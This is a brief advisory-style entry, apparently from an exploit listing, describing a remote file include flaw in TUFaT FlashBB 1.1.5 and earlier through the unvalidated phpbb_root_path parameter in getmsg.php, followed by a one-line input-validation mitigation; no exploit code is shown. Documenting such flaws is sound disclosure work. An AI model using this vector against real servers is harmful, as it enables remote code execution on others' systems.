TUFaT FlashBB <= 1.1.5 (phpbb_root_path) Remote File Include Exploit

This exploit allows an attacker to include a remote file on the vulnerable server. It is triggered when the vulnerable application uses the phpbb_root_path parameter in the getmsg.php script without proper validation. This can be exploited to execute arbitrary PHP code by including a malicious file from a remote host.

Mitigation:

Input validation should be used to prevent the inclusion of remote files.
